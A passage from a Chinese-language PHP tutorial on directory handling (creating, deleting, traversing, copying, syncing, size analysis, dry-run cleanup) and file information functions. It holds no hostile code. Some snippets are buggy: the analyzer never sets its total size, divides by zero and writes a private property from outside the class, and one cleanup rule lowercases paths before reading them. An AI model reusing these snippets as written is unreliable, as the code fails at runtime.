        echo "是否可读:" . (is_readable($path) ? "是" : "否") . "<br>";
        echo "是否可写:" . (is_writable($path) ? "是" : "否") . "<br>";

        if (is_dir($path)) {
            $permissions = fileperms($path);
            echo "权限:" . substr(sprintf('%o', $permissions), -4) . "<br>";
            echo "修改时间:" . date('Y-m-d H:i:s', filemtime($path)) . "<br>";
        }
    }
    echo "<hr>";
}

// 测试不同路径
checkDirectory('new_directory');
checkDirectory('nonexistent_directory');
checkDirectory('.');
checkDirectory(__DIR__);
?>

3. 删除目录

<?php
// 删除空目录
$emptyDir = 'empty_directory';
mkdir($emptyDir);

echo "目录 '{$emptyDir}' 是否存在:" . (file_exists($emptyDir) ? "是" : "否") . "<br>";

if (rmdir($emptyDir)) {
    echo "目录 '{$emptyDir}' 删除成功<br>";
} else {
    echo "目录 '{$emptyDir}' 删除失败(可能不为空或权限不足)<br>";
}

// 递归删除目录的函数
function removeDirectory($dir) {
    if (!file_exists($dir)) {
        return true;
    }

    if (!is_dir($dir)) {
        return unlink($dir);
    }

    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }

        $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
        if (!removeDirectory($itemPath)) {
            return false;
        }
    }

    return rmdir($dir);
}

// 测试递归删除
$testDir = 'test_remove_dir';
mkdir($testDir, 0755, true);
file_put_contents($testDir . '/file1.txt', 'test content 1');
mkdir($testDir . '/subdir');
file_put_contents($testDir . '/subdir/file2.txt', 'test content 2');

echo "递归删除目录 '{$testDir}':<br>";
if (removeDirectory($testDir)) {
    echo "删除成功<br>";
} else {
    echo "删除失败<br>";
}
?>

遍历目录内容

1. 使用 scandir()

<?php
// 基本目录扫描
function listDirectoryContents($dir) {
    if (!is_dir($dir)) {
        echo "路径不是有效目录:{$dir}<br>";
        return;
    }

    echo "<h3>目录内容:{$dir}</h3>";

    $items = scandir($dir);

    echo "<ul>";
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }

        $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
        $isDir = is_dir($itemPath);

        $icon = $isDir ? "📁" : "📄";
        $type = $isDir ? "目录" : "文件";
        $size = $isDir ? "-" : number_format(filesize($itemPath)) . " 字节";
        $modified = date('Y-m-d H:i:s', filemtime($itemPath));

        echo "<li>";
        echo "{$icon} <strong>" . htmlspecialchars($item) . "</strong> - {$type}";
        echo " (大小: {$size}, 修改: {$modified})";
        echo "</li>";
    }
    echo "</ul>";
}

// 列出当前目录内容
listDirectoryContents('.');
?>

2. 使用 DirectoryIterator

<?php
// 使用 DirectoryIterator 遍历目录
function listDirectoryWithIterator($dir) {
    if (!is_dir($dir)) {
        echo "路径不是有效目录:{$dir}<br>";
        return;
    }

    echo "<h3>使用 DirectoryIterator 遍历:{$dir}</h3>";

    $iterator = new DirectoryIterator($dir);

    echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
    echo "<tr><th>名称</th><th>类型</th><th>大小</th><th>修改时间</th><th>权限</th></tr>";

    foreach ($iterator as $fileInfo) {
        if ($fileInfo->isDot()) {
            continue;
        }

        $name = htmlspecialchars($fileInfo->getFilename());
        $type = $fileInfo->isDir() ? '目录' : '文件';
        $size = $fileInfo->isFile() ? number_format($fileInfo->getSize()) . ' 字节' : '-';
        $modified = $fileInfo->getMTime() ? date('Y-m-d H:i:s', $fileInfo->getMTime()) : '-';
        $permissions = substr(sprintf('%o', $fileInfo->getPerms()), -4);

        echo "<tr>";
        echo "<td>{$name}</td>";
        echo "<td>{$type}</td>";
        echo "<td>{$size}</td>";
        echo "<td>{$modified}</td>";
        echo "<td>{$permissions}</td>";
        echo "</tr>";
    }

    echo "</table>";
}

// 使用迭代器列出当前目录
listDirectoryWithIterator('.');
?>

3. 递归遍历目录树

<?php
// 递归遍历目录树
class DirectoryTreeWalker {
    private $maxDepth;
    private $showHidden;
    private $results;

    public function __construct($maxDepth = 5, $showHidden = false) {
        $this->maxDepth = $maxDepth;
        $this->showHidden = $showHidden;
        $this->results = [];
    }

    public function walk($dir, $currentDepth = 0) {
        if ($currentDepth >= $this->maxDepth) {
            return;
        }

        if (!is_dir($dir)) {
            return;
        }

        $items = scandir($dir);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            if (!$this->showHidden && strpos($item, '.') === 0) {
                continue;
            }

            $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
            $isDir = is_dir($itemPath);

            $this->results[] = [
                'path' => $itemPath,
                'name' => $item,
                'type' => $isDir ? 'directory' : 'file',
                'size' => $isDir ? 0 : filesize($itemPath),
                'depth' => $currentDepth,
                'modified' => filemtime($itemPath)
            ];

            if ($isDir) {
                $this->walk($itemPath, $currentDepth + 1);
            }
        }
    }

    public function getResults() {
        return $this->results;
    }

    public function displayTree($dir) {
        echo "<h3>目录树:{$dir}</h3>";
        echo "<pre style='background: #f5f5f5; padding: 10px; font-family: monospace;'>";
        $this->displayTreeRecursive($dir, '', 0);
        echo "</pre>";
    }

    private function displayTreeRecursive($dir, $prefix, $currentDepth) {
        if ($currentDepth >= $this->maxDepth) {
            return;
        }

        if (!is_dir($dir)) {
            return;
        }

        $items = scandir($dir);
        $dirs = [];
        $files = [];

        // 分别处理目录和文件
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            if (!$this->showHidden && strpos($item, '.') === 0) {
                continue;
            }

            $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($itemPath)) {
                $dirs[] = $item;
            } else {
                $files[] = $item;
            }
        }

        // 先显示目录,再显示文件
        $allItems = array_merge($dirs, $files);
        $count = count($allItems);

        foreach ($allItems as $index => $item) {
            $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
            $isLast = ($index === $count - 1);
            $currentPrefix = $prefix . ($isLast ? '└── ' : '├── ');

            echo $currentPrefix . $item;

            if (is_dir($itemPath)) {
                echo "/<br>";
                $nextPrefix = $prefix . ($isLast ? '    ' : '│   ');
                $this->displayTreeRecursive($itemPath, $nextPrefix, $currentDepth + 1);
            } else {
                $size = number_format(filesize($itemPath));
                echo " ({$size} 字节)<br>";
            }
        }
    }
}

// 使用目录树遍历器
$walker = new DirectoryTreeWalker(3, true);
$walker->walk('.');
$allItems = $walker->getResults();

echo "<h3>统计信息:</h3>";
$fileCount = 0;
$dirCount = 0;
$totalSize = 0;

foreach ($allItems as $item) {
    if ($item['type'] === 'file') {
        $fileCount++;
        $totalSize += $item['size'];
    } else {
        $dirCount++;
    }
}

echo "文件数量:{$fileCount}<br>";
echo "目录数量:{$dirCount}<br>";
echo "总大小:" . number_format($totalSize) . " 字节<br>";

// 显示目录树
$walker->displayTree('.');
?>

目录管理工具

1. 目录复制

<?php
// 目录复制类
class DirectoryCopier {
    private $overwrite;
    private $preservePermissions;

    public function __construct($overwrite = false, $preservePermissions = true) {
        $this->overwrite = $overwrite;
        $this->preservePermissions = $preservePermissions;
    }

    public function copy($source, $destination) {
        if (!is_dir($source)) {
            throw new Exception("源目录不存在:{$source}");
        }

        // 创建目标目录
        if (!is_dir($destination)) {
            if (!mkdir($destination, 0755, true)) {
                throw new Exception("无法创建目标目录:{$destination}");
            }
        }

        return $this->copyRecursive($source, $destination);
    }

    private function copyRecursive($source, $destination) {
        $items = scandir($source);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $sourcePath = $source . DIRECTORY_SEPARATOR . $item;
            $destPath = $destination . DIRECTORY_SEPARATOR . $item;

            if (is_dir($sourcePath)) {
                // 复制子目录
                if (!is_dir($destPath)) {
                    if (!mkdir($destPath, 0755, true)) {
                        throw new Exception("无法创建子目录:{$destPath}");
                    }
                }

                $this->copyRecursive($sourcePath, $destPath);

                // 保持权限
                if ($this->preservePermissions) {
                    chmod($destPath, fileperms($sourcePath));
                }

            } else {
                // 复制文件
                if (file_exists($destPath) && !$this->overwrite) {
                    continue;
                }

                if (!copy($sourcePath, $destPath)) {
                    throw new Exception("无法复制文件:{$sourcePath} -> {$destPath}");
                }

                // 保持权限
                if ($this->preservePermissions) {
                    chmod($destPath, fileperms($sourcePath));
                }
            }
        }

        return true;
    }

    public function getCopyStats($source, $destination) {
        $stats = [
            'files_copied' => 0,
            'dirs_created' => 0,
            'bytes_copied' => 0
        ];

        $this->calculateStats($source, $destination, $stats);
        return $stats;
    }

    private function calculateStats($source, $destination, &$stats) {
        if (!is_dir($source)) {
            return;
        }

        $items = scandir($source);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $sourcePath = $source . DIRECTORY_SEPARATOR . $item;
            $destPath = $destination . DIRECTORY_SEPARATOR . $item;

            if (is_dir($sourcePath)) {
                if (!is_dir($destPath)) {
                    $stats['dirs_created']++;
                }
                $this->calculateStats($sourcePath, $destPath, $stats);
            } else {
                if (file_exists($destPath)) {
                    $sourceSize = filesize($sourcePath);
                    $destSize = filesize($destPath);
                    if ($sourceSize === $destSize) {
                        continue; // 文件已存在且大小相同
                    }
                }

                $stats['files_copied']++;
                $stats['bytes_copied'] += filesize($sourcePath);
            }
        }
    }
}

// 使用目录复制工具
try {
    // 创建测试源目录
    $sourceDir = 'test_source';
    if (!is_dir($sourceDir)) {
        mkdir($sourceDir, 0755, true);
    }

    // 创建一些测试文件
    file_put_contents($sourceDir . '/file1.txt', 'Test file 1 content');
    file_put_contents($sourceDir . '/file2.txt', 'Test file 2 content');
    mkdir($sourceDir . '/subdir');
    file_put_contents($sourceDir . '/subdir/file3.txt', 'Test file 3 content');

    $copier = new DirectoryCopier(true, true);
    $destinationDir = 'test_copy';

    // 执行复制
    $copier->copy($sourceDir, $destinationDir);
    echo "目录复制成功<br>";

    // 显示统计信息
    $stats = $copier->getCopyStats($sourceDir, $destinationDir);
    echo "<h3>复制统计:</h3>";
    echo "复制的文件:{$stats['files_copied']}<br>";
    echo "创建的目录:{$stats['dirs_created']}<br>";
    echo "复制的字节:" . number_format($stats['bytes_copied']) . "<br>";

} catch (Exception $e) {
    echo "复制错误:" . $e->getMessage();
}
?>

2. 目录同步

<?php
// 目录同步类
class DirectorySynchronizer {
    private $source;
    private $destination;
    private $deleteExtra;
    private $log;

    public function __construct($source, $destination, $deleteExtra = false) {
        $this->source = rtrim($source, '/\\');
        $this->destination = rtrim($destination, '/\\');
        $this->deleteExtra = $deleteExtra;
        $this->log = [];
    }

    public function sync() {
        if (!is_dir($this->source)) {
            throw new Exception("源目录不存在:{$this->source}");
        }

        // 确保目标目录存在
        if (!is_dir($this->destination)) {
            mkdir($this->destination, 0755, true);
            $this->addLog("创建目标目录:{$this->destination}");
        }

        $this->syncRecursive($this->source, $this->destination);

        return $this->log;
    }

    private function syncRecursive($sourceDir, $destDir) {
        // 确保目标目录存在
        if (!is_dir($destDir)) {
            mkdir($destDir, 0755, true);
            $this->addLog("创建目录:" . $this->getRelativePath($destDir));
        }

        $sourceItems = scandir($sourceDir);
        $destItems = is_dir($destDir) ? scandir($destDir) : [];

        // 同步源目录中的项目
        foreach ($sourceItems as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $sourcePath = $sourceDir . DIRECTORY_SEPARATOR . $item;
            $destPath = $destDir . DIRECTORY_SEPARATOR . $item;

            if (is_dir($sourcePath)) {
                // 递归同步子目录
                $this->syncRecursive($sourcePath, $destPath);
            } else {
                // 同步文件
                $this->syncFile($sourcePath, $destPath);
            }
        }

        // 删除目标目录中多余的项目
        if ($this->deleteExtra) {
            foreach ($destItems as $item) {
                if ($item === '.' || $item === '..') {
                    continue;
                }

                $sourcePath = $sourceDir . DIRECTORY_SEPARATOR . $item;
                $destPath = $destDir . DIRECTORY_SEPARATOR . $item;

                if (!file_exists($sourcePath)) {
                    if (is_dir($destPath)) {
                        $this->deleteDirectoryRecursive($destPath);
                        $this->addLog("删除多余目录:" . $this->getRelativePath($destPath));
                    } else {
                        unlink($destPath);
                        $this->addLog("删除多余文件:" . $this->getRelativePath($destPath));
                    }
                }
            }
        }
    }

    private function syncFile($sourceFile, $destFile) {
        $needsUpdate = false;

        if (!file_exists($destFile)) {
            $needsUpdate = true;
            $action = "复制新文件";
        } elseif (filemtime($sourceFile) > filemtime($destFile)) {
            $needsUpdate = true;
            $action = "更新文件";
        } elseif (filesize($sourceFile) !== filesize($destFile)) {
            $needsUpdate = true;
            $action = "同步文件大小";
        }

        if ($needsUpdate) {
            if (copy($sourceFile, $destFile)) {
                touch($destFile, filemtime($sourceFile)); // 保持修改时间
                $this->addLog($action . ":" . $this->getRelativePath($destFile));
            } else {
                $this->addLog("同步失败:" . $this->getRelativePath($destFile));
            }
        }
    }

    private function deleteDirectoryRecursive($dir) {
        if (!is_dir($dir)) {
            return;
        }

        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $itemPath = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($itemPath)) {
                $this->deleteDirectoryRecursive($itemPath);
            } else {
                unlink($itemPath);
            }
        }

        rmdir($dir);
    }

    private function getRelativePath($path) {
        $basePath = dirname($this->destination);
        return str_replace($basePath . DIRECTORY_SEPARATOR, '', $path);
    }

    private function addLog($message) {
        $this->log[] = date('Y-m-d H:i:s') . ' - ' . $message;
    }

    public function getLog() {
        return $this->log;
    }
}

// 使用目录同步工具
try {
    // 创建测试环境
    $sourceDir = 'sync_source';
    $destDir = 'sync_dest';

    if (!is_dir($sourceDir)) {
        mkdir($sourceDir, 0755, true);
        file_put_contents($sourceDir . '/test.txt', 'Original content');
        mkdir($sourceDir . '/subdir');
        file_put_contents($sourceDir . '/subdir/nested.txt', 'Nested content');
    }

    if (!is_dir($destDir)) {
        mkdir($destDir, 0755, true);
        file_put_contents($destDir . '/old_file.txt', 'Old content');
    }

    $synchronizer = new DirectorySynchronizer($sourceDir, $destDir, true);
    $log = $synchronizer->sync();

    echo "<h3>同步日志:</h3>";
    echo "<ul>";
    foreach ($log as $entry) {
        echo "<li>" . htmlspecialchars($entry) . "</li>";
    }
    echo "</ul>";

} catch (Exception $e) {
    echo "同步错误:" . $e->getMessage();
}
?>

实用工具

1. 目录大小分析器

<?php
// 目录大小分析器
class DirectoryAnalyzer {
    private $excludePatterns;
    private $maxDepth;
    private $results;

    public function __construct($excludePatterns = [], $maxDepth = 10) {
        $this->excludePatterns = array_merge([
            '/^\./',          // 隐藏文件
            '/\.(git|svn)$/', // 版本控制目录
            '/node_modules/', // Node.js依赖
            '/vendor/',       // Composer依赖
        ], $excludePatterns);

        $this->maxDepth = $maxDepth;
        $this->results = [];
    }

    public function analyze($directory) {
        if (!is_dir($directory)) {
            throw new Exception("目录不存在:{$directory}");
        }

        $this->results = [
            'total_size' => 0,
            'file_count' => 0,
            'dir_count' => 0,
            'extensions' => [],
            'largest_files' => [],
            'directory_sizes' => []
        ];

        $this->analyzeRecursive($directory, 0);

        return $this->results;
    }

    private function analyzeRecursive($directory, $currentDepth) {
        if ($currentDepth >= $this->maxDepth) {
            return 0;
        }

        $dirSize = 0;
        $items = scandir($directory);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            // 检查排除模式
            if ($this->shouldExclude($item)) {
                continue;
            }

            $path = $directory . DIRECTORY_SEPARATOR . $item;

            if (is_dir($path)) {
                $this->results['dir_count']++;
                $subDirSize = $this->analyzeRecursive($path, $currentDepth + 1);
                $dirSize += $subDirSize;

                $relativePath = $this->getRelativePath($path);
                $this->results['directory_sizes'][$relativePath] = $subDirSize;

            } elseif (is_file($path)) {
                $fileSize = filesize($path);
                $dirSize += $fileSize;
                $this->results['file_count']++;

                // 统计扩展名
                $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION));
                if ($extension) {
                    if (!isset($this->results['extensions'][$extension])) {
                        $this->results['extensions'][$extension] = [
                            'count' => 0,
                            'size' => 0
                        ];
                    }
                    $this->results['extensions'][$extension]['count']++;
                    $this->results['extensions'][$extension]['size'] += $fileSize;
                }

                // 记录大文件
                $this->results['largest_files'][] = [
                    'path' => $this->getRelativePath($path),
                    'size' => $fileSize
                ];
            }
        }

        return $dirSize;
    }

    private function shouldExclude($name) {
        foreach ($this->excludePatterns as $pattern) {
            if (preg_match($pattern, $name)) {
                return true;
            }
        }
        return false;
    }

    private function getRelativePath($path) {
        $basePath = getcwd();
        return str_replace($basePath . DIRECTORY_SEPARATOR, '', $path);
    }

    public function displayResults() {
        echo "<h2>目录分析报告</h2>";

        // 总体统计
        echo "<h3>总体统计:</h3>";
        echo "<ul>";
        echo "<li>总大小:" . $this->formatBytes($this->results['total_size']) . "</li>";
        echo "<li>文件数量:" . $this->results['file_count'] . "</li>";
        echo "<li>目录数量:" . $this->results['dir_count'] . "</li>";
        echo "<li>平均文件大小:" . $this->formatBytes($this->results['total_size'] / max(1, $this->results['file_count'])) . "</li>";
        echo "</ul>";

        // 文件类型统计
        if (!empty($this->results['extensions'])) {
            echo "<h3>文件类型统计:</h3>";
            echo "<table border='1' style='border-collapse: collapse;'>";
            echo "<tr><th>扩展名</th><th>文件数</th><th>总大小</th><th>平均大小</th><th>占比</th></tr>";

            // 按大小排序
            uasort($this->results['extensions'], function($a, $b) {
                return $b['size'] - $a['size'];
            });

            foreach ($this->results['extensions'] as $ext => $stats) {
                $percentage = round(($stats['size'] / $this->results['total_size']) * 100, 2);
                $avgSize = $this->formatBytes($stats['size'] / $stats['count']);

                echo "<tr>";
                echo "<td>.{$ext}</td>";
                echo "<td>{$stats['count']}</td>";
                echo "<td>" . $this->formatBytes($stats['size']) . "</td>";
                echo "<td>{$avgSize}</td>";
                echo "<td>{$percentage}%</td>";
                echo "</tr>";
            }
            echo "</table>";
        }

        // 最大文件
        if (!empty($this->results['largest_files'])) {
            echo "<h3>最大文件(前10个):</h3>";

            // 按大小排序并取前10个
            usort($this->results['largest_files'], function($a, $b) {
                return $b['size'] - $a['size'];
            });

            $topFiles = array_slice($this->results['largest_files'], 0, 10);

            echo "<table border='1' style='border-collapse: collapse;'>";
            echo "<tr><th>文件</th><th>大小</th></tr>";

            foreach ($topFiles as $file) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($file['path']) . "</td>";
                echo "<td>" . $this->formatBytes($file['size']) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        }

        // 目录大小
        if (!empty($this->results['directory_sizes'])) {
            echo "<h3>目录大小(前10个):</h3>";

            // 按大小排序并取前10个
            arsort($this->results['directory_sizes']);
            $topDirs = array_slice($this->results['directory_sizes'], 0, 10, true);

            echo "<table border='1' style='border-collapse: collapse;'>";
            echo "<tr><th>目录</th><th>大小</th></tr>";

            foreach ($topDirs as $dir => $size) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($dir) . "</td>";
                echo "<td>" . $this->formatBytes($size) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        }
    }

    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);

        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// 使用目录分析器
try {
    $analyzer = new DirectoryAnalyzer([], 5);
    $results = $analyzer->analyze('.');

    // 设置结果(analyze方法已经更新了results)
    $analyzer->results = $results;
    $analyzer->displayResults();

} catch (Exception $e) {
    echo "分析错误:" . $e->getMessage();
}
?>

2. 目录清理工具

<?php
// 目录清理工具
class DirectoryCleaner {
    private $rules;
    private $dryRun;
    private $deleted;
    private $errors;

    public function __construct($dryRun = true) {
        $this->dryRun = $dryRun;
        $this->rules = [];
        $this->deleted = [];
        $this->errors = [];
    }

    // 添加清理规则
    public function addRule($name, $callback) {
        $this->rules[$name] = $callback;
    }

    // 清理目录
    public function clean($directory) {
        if (!is_dir($directory)) {
            throw new Exception("目录不存在:{$directory}");
        }

        $this->deleted = [];
        $this->errors = [];

        $this->cleanRecursive($directory);

        return [
            'deleted' => $this->deleted,
            'errors' => $this->errors,
            'dry_run' => $this->dryRun
        ];
    }

    private function cleanRecursive($directory) {
        $items = scandir($directory);

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $path = $directory . DIRECTORY_SEPARATOR . $item;

            if (is_dir($path)) {
                $this->cleanRecursive($path);

                // 尝试删除空目录
                $this->tryDeleteEmptyDirectory($path);
            } else {
                $this->tryDeleteFile($path);
            }
        }
    }

    private function tryDeleteFile($path) {
        foreach ($this->rules as $ruleName => $rule) {
            try {
                if ($rule($path)) {
                    if ($this->dryRun) {
                        $this->deleted[] = [
                            'path' => $path,
                            'rule' => $ruleName,
                            'action' => 'would_delete'
                        ];
                    } else {
                        if (unlink($path)) {
                            $this->deleted[] = [
                                'path' => $path,
                                'rule' => $ruleName,
                                'action' => 'deleted'
                            ];
                        } else {
                            $this->errors[] = [
                                'path' => $path,
                                'message' => '无法删除文件'
                            ];
                        }
                    }
                    break; // 一旦匹配一个规则就停止
                }
            } catch (Exception $e) {
                $this->errors[] = [
                    'path' => $path,
                    'message' => $e->getMessage()
                ];
            }
        }
    }

    private function tryDeleteEmptyDirectory($path) {
        $items = scandir($path);
        if (count($items) === 2) { // 只有 . 和 ..
            if ($this->dryRun) {
                $this->deleted[] = [
                    'path' => $path,
                    'rule' => 'empty_directory',
                    'action' => 'would_delete'
                ];
            } else {
                if (rmdir($path)) {
                    $this->deleted[] = [
                        'path' => $path,
                        'rule' => 'empty_directory',
                        'action' => 'deleted'
                    ];
                }
            }
        }
    }

    public function setDryRun($dryRun) {
        $this->dryRun = $dryRun;
    }

    public function displayResults() {
        $action = $this->dryRun ? '将要删除' : '已删除';

        echo "<h3>清理结果({$action})</h3>";

        if (!empty($this->deleted)) {
            echo "<p>文件/目录数量:" . count($this->deleted) . "</p>";
            echo "<ul>";
            foreach ($this->deleted as $item) {
                $rule = $item['rule'] === 'empty_directory' ? '空目录' : $item['rule'];
                echo "<li>" . htmlspecialchars($item['path']) . " (规则: {$rule})</li>";
            }
            echo "</ul>";
        } else {
            echo "<p>没有文件或目录被标记为删除</p>";
        }

        if (!empty($this->errors)) {
            echo "<h4>错误:</h4>";
            echo "<ul>";
            foreach ($this->errors as $error) {
                echo "<li>" . htmlspecialchars($error['path']) . ": " . htmlspecialchars($error['message']) . "</li>";
            }
            echo "</ul>";
        }
    }
}

// 创建清理工具并添加规则
$cleaner = new DirectoryCleaner(true); // 默认为试运行模式

// 添加常见清理规则
$cleaner->addRule('temp_files', function($path) {
    $name = basename($path);
    $tempPatterns = ['~$', '.tmp', '.temp', '.bak', '.swp', '.log'];
    foreach ($tempPatterns as $pattern) {
        if (strpos($name, $pattern) !== false) {
            return true;
        }
    }
    return false;
});

$cleaner->addRule('old_logs', function($path) {
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    if ($ext === 'log') {
        // 删除7天前的日志文件
        $mtime = filemtime($path);
        return ($mtime < (time() - 7 * 24 * 60 * 60));
    }
    return false;
});

$cleaner->addRule('old_cache', function($path) {
    $path = strtolower($path);
    if (strpos($path, 'cache') !== false || strpos($path, 'temp') !== false) {
        $mtime = filemtime($path);
        // 删除30天前的缓存文件
        return ($mtime < (time() - 30 * 24 * 60 * 60));
    }
    return false;
});

$cleaner->addRule('php_sessions', function($path) {
    $name = basename($path);
    // 删除旧的PHP会话文件
    return (strpos($name, 'sess_') === 0 && filemtime($path) < (time() - 24 * 60 * 60));
});

// 运行清理(试运行模式)
echo "<h2>目录清理(试运行模式)</h2>";
echo "<p>注意:这是试运行模式,没有实际删除任何文件</p>";

try {
    $results = $cleaner->clean('.');
    $cleaner->displayResults();

    echo "<p>要实际删除文件,请将 dryRun 参数设置为 false</p>";

} catch (Exception $e) {
    echo "清理错误:" . $e->getMessage();
}
?>

总结

目录操作是PHP文件系统编程的重要组成部分。通过本节学习,你应该掌握:

关键技能:

  1. 基本目录操作

    • 创建、删除、检查目录
    • 设置和管理目录权限
    • 处理嵌套目录结构
  2. 目录遍历

    • 使用 scandir() 进行基本遍历
    • 使用 DirectoryIterator 进行面向对象遍历
    • 实现递归目录树遍历
  3. 实用工具

    • 目录复制和同步
    • 目录大小分析
    • 自动化清理工具
  4. 最佳实践

    • 错误处理和异常管理
    • 权限检查和安全考虑
    • 性能优化和内存管理

这些技能将帮助你构建功能完整的文件管理系统和内容管理平台。

文件系统函数

PHP提供了丰富的文件系统函数,用于操作文件、目录和获取文件系统信息。本节将介绍这些常用函数的用法和实际应用场景。

学习目标

完成本节学习后,你将能够:

  • 掌握常用的文件系统函数
  • 理解文件权限和属性操作
  • 学会路径处理和文件信息获取
  • 了解文件系统函数的实际应用

文件信息函数

1. 基本文件信息

<?php
// 文件信息演示类
class FileInfoDemo {
    private $testFile;

    public function __construct() {
        $this->testFile = 'demo_file.txt';
        $this->createTestFile();
    }

    private function createTestFile() {
        $content = "这是一个演示文件\n用于展示文件系统函数的功能\n包含多行文本内容";
        file_put_contents($this->testFile, $content);
    }

    // 显示文件基本信息
    public function displayBasicInfo() {
        echo "<h3>文件基本信息</h3>";

        $file = $this->testFile;

        // 检查文件是否存在
        echo "文件存在:" . (file_exists($file) ? "是" : "否") . "<br>";

        if (file_exists($file)) {
            // 文件类型检查
            echo "是文件:" . (is_file($file) ? "是" : "否") . "<br>";
            echo "是目录:" . (is_dir($file) ? "是" : "否") . "<br>";
            echo "是链接:" . (is_link($file) ? "是" : "否") . "<br>";

            // 文件可访问性
            echo "可读:" . (is_readable($file) ? "是" : "否") . "<br>";
            echo "可写:" . (is_writable($file) ? "是" : "否") . "<br>";
            echo "可执行:" . (is_executable($file) ? "是" : "否") . "<br>";

            // 文件大小
            $size = filesize($file);
            echo "文件大小:" . $size . " 字节 (" . $this->formatBytes($size) . ")<br>";

            // 文件时间信息
            echo "创建时间:" . date('Y-m-d H:i:s', filectime($file)) . "<br>";
            echo "修改时间:" . date('Y-m-d H:i:s', filemtime($file)) . "<br>";
            echo "访问时间:" . date('Y-m-d H:i:s', fileatime($file)) . "<br>";

            // 文件权限
            $perms = fileperms($file);
            echo "权限(八进制):" . substr(sprintf('%o', $perms), -4) . "<br>";
            echo "权限(符号):" . $this->getPermissionSymbolic($perms) . "<br>";

            // 文件所有者和组
            if (function_exists('posix_getpwuid')) {
                $owner = posix_getpwuid(fileowner($file));
                echo "所有者:" . $owner['name'] . "<br>";
            }

            if (function_exists('posix_getgrgid')) {
                $group = posix_getgrgid(filegroup($file));
                echo "组:" . $group['name'] . "<br>";
            }

            // 文件类型
            $fileType = filetype($file);
            echo "文件类型:" . $fileType . "<br>";

            // MIME类型
            $mimeType = $this->getMimeType($file);
            echo "MIME类型:" . $mimeType . "<br>";
        }
    }

    // 格式化字节大小
    private function formatBytes($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        $bytes = max(0, $bytes);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);

        $bytes /= pow(1024, $pow);
        return round($bytes, 2) . ' ' . $units[$pow];
    }

    // 获取符号权限表示
    private function getPermissionSymbolic($perms) {
        $info = '';

        // 所有者权限
        $info .= ($perms & 0x0100) ? 'r' : '-';
        $info .= ($perms & 0x0080) ? 'w' : '-';
        $info .= ($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-');

        // 组权限
        $info .= ($perms & 0x0020) ? 'r' : '-';
        $info .= ($perms & 0x0010) ? 'w' : '-';
        $info .= ($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-');

        // 其他权限
        $info .= ($perms & 0x0004) ? 'r' : '-';
        $info .= ($perms & 0x0002) ? 'w' : '-';
        $info .= ($perms & 0x0001) ? 'x' : '-';

        return $info;
    }

    // 获取MIME类型
    private function getMimeType($file) {
        if (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $mimeType = finfo_file($finfo, $file);
            finfo_close($finfo);
            return $mimeType;
        }
        return 'application/octet-stream';
    }

    // 演示pathinfo函数
    public function demonstratePathinfo() {
        echo "<h3>路径信息分解</h3>";

        $path = '/var/www/html/project/index.php';
        $info = pathinfo($path);

        echo "<table border='1'>";
        echo "<tr><th>属性</th><th>值</th></tr>";

        echo "<tr><td>完整路径</td><td>" . htmlspecialchars($path) . "</td></tr>";
        echo "<tr><td>目录名</td><td>" . htmlspecialchars($info['dirname']) . "</td></tr>";
        echo "<tr><td>文件名</td><td>" . htmlspecialchars($info['basename']) . "</td></tr>";
        echo "<tr><td>扩展名</td><td>" . htmlspecialchars($info['extension']) . "</td></tr>";
        echo "<tr><td>文件名(无扩展名)</td><td>" . htmlspecialchars($info['filename']) . "</td></tr>";

        echo "</table>";

        // 使用pathinfo常量
        echo "<h4>使用pathinfo常量</h4>";
        echo "目录名:" . pathinfo($path, PATHINFO_DIRNAME) . "<br>";
        echo "文件名:" . pathinfo($path, PATHINFO_BASENAME) . "<br>";
        echo "扩展名:" . pathinfo($path, PATHINFO_EXTENSION) . "<br>";
        echo "文件名(无扩展名):" . pathinfo($path, PATHINFO_FILENAME) . "<br>";
    }

    // 清理测试文件
    public function cleanup() {
        if (file_exists($this->testFile)) {
            unlink($this->testFile);
        }
    }
}

// 使用示例
$demo = new FileInfoDemo();
$demo->displayBasicInfo();
echo "<hr>";
$demo->demonstratePathinfo();
$demo->cleanup();
?>

2. 文件比较和差异

<?php
// 文件比较工具类
class FileComparator {
    // 比较两个文件是否相同
    public function compareFiles($file1, $file2) {
        if (!file_exists($file1) || !file_exists($file2)) {
            throw new Exception("文件不存在");
        }

        // 比较文件大小
        $size1 = filesize($file1);
        $size2 = filesize($file2);

        if ($size1 !== $size2) {
            return [
                'identical' => false,
